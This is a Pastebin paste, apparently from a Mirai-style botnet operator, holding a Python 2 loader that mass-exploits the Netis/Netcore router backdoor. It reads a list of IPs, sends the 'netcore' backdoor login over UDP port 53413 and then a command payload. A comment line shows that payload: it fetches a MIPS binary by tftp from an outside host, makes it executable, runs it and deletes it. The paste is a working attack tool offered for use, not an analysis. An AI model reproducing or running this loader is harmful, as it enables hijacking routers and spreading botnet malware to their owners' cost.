Advertisement
miraip0ts

Load_Netis

Apr 5th, 2017
1,166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.06 KB | None | 0 0
  1. #!/usr/bin/python
  2. # python -c "print 'A'*8 + 'netcore\x00'" > loginpayload
  3. # python -c "print 'AA\x00\x00AAAA cd /var/; tftp -g -r mipselss 1.1.1.1; chmod 777 mipsel; ./mipsel; rm -rf mipsel\x00'" > commandpayload
  4. #
  5.  
  6. import threading, sys, time, random, socket, re, os
  7.  
  8. if len(sys.argv) < 2:
  9.         print "Usage: python "+sys.argv[0]+" <list>"
  10.         sys.exit()
  11.  
  12. loginpayload = "AAAAAAAAnetcore\x00"
  13. commandpayload = "AA\x00\x00AAAA (PayLoad)"
  14. list = open(sys.argv[1], "r").readlines()
  15. offline = 0
  16. class netis(threading.Thread):
  17.         def __init__ (self, ip):
  18.             threading.Thread.__init__(self)
  19.             self.ip = str(ip).rstrip('\n')
  20.         def run(self):
  21.             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  22.             try:
  23.                 print "\033[31m[\033[32m+\033[31m] \033[32mAttempting:\033[32m %s"%(self.ip)
  24.                 s.sendto(loginpayload, (self.ip, 53413))
  25.                 time.sleep(1.5)
  26.                 s.sendto(commandpayload, (self.ip, 53413))
  27.                 time.sleep(30)
  28.             except Exception:
  29.                 pass
  30. for ip in list:
  31.     try:
  32.         t = netis(ip)
  33.         t.start()
  34.         time.sleep(0.01)
  35.     except:
  36.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement